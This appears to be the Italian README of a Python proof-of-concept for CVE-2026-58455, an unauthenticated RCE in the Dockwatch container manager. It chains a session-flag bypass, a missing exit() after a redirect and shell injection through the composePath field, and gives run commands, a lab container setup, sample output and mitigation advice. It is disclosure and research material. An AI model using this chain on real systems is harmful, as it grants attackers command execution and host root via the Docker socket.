
PoC per CVE-2026-58455: Dockwatch <=0.6.567 RCE non autenticato. Python solo stdlib.
Prova di concetto per CVE-2026-58455: esecuzione remota di codice senza autenticazione in Dockwatch (di Notifiarr), un'interfaccia web self-hosted per la gestione di container Docker. Interessa tutte le versioni fino alla 0.6.567.
Tre falle concatenate:
Flag di sessione impostato senza autenticazione — GET /includes/header.php esegue
$_SESSION['IN_DOCKWATCH'] = true; per qualsiasi visitatore. Il livello AJAX
(ajax/shared.php) controlla solo questo flag.
Manca exit() dopo il redirect di autenticazione — loader.php invia un
header Location: login.php quando $_SESSION['authenticated'] è false ma non
termina l'esecuzione, quindi il resto della richiesta continua.
Iniezione di comandi del sistema operativo — ajax/compose.php (m=composePull) costruisce un comando shell
con input non sanificato:
$cmd = 'cd ' . $_POST['composePath'] . ' && docker-compose pull';
$pull = $shell->exec($cmd . ' 2>&1');
L'output viene riflesso nella risposta HTTP.
Con le falle concatenate: un attaccante remoto non autenticato esegue
comandi arbitrari del sistema operativo come utente del web server all'interno del container. Le distribuzioni tipiche
montano /var/run/docker.sock nel container → equivalente a root sull'host.
python3 dockwatch_rce_poc.py --url http://HOST:PORT --command "id; hostname"
python3 dockwatch_rce_poc.py --url http://localhost:8888 # defaults
Solo libreria standard di Python 3.
docker run -d --name dockwatch-lab -p 8888:80 \
-v /var/run/docker.sock:/var/run/docker.sock \
ghcr.io/notifiarr/dockwatch:v0.6.567
$ python3 dockwatch_rce_poc.py --url http://localhost:8888 --command "id; hostname"
[+] Dockwatch fingerprint confirmed (200) <title>Dockwatch</title>
[+] Session primed (IN_DOCKWATCH flag set)
[*] ajax/compose.php responded HTTP 200, 100 bytes
[+] Command output recovered:
uid=911(abc) gid=911(abc) groups=911(abc),281(unraiddocker),992(groupls7j),1000(users)
=> PASS (RCE confirmed)
Aggiornare Dockwatch a una versione successiva alla 0.6.567. Come mitigazione, non esporre Dockwatch a reti non fidate e rimuovere il bind del socket Docker se non necessario.
Solo per ricerca di sicurezza autorizzata e uso in laboratorio.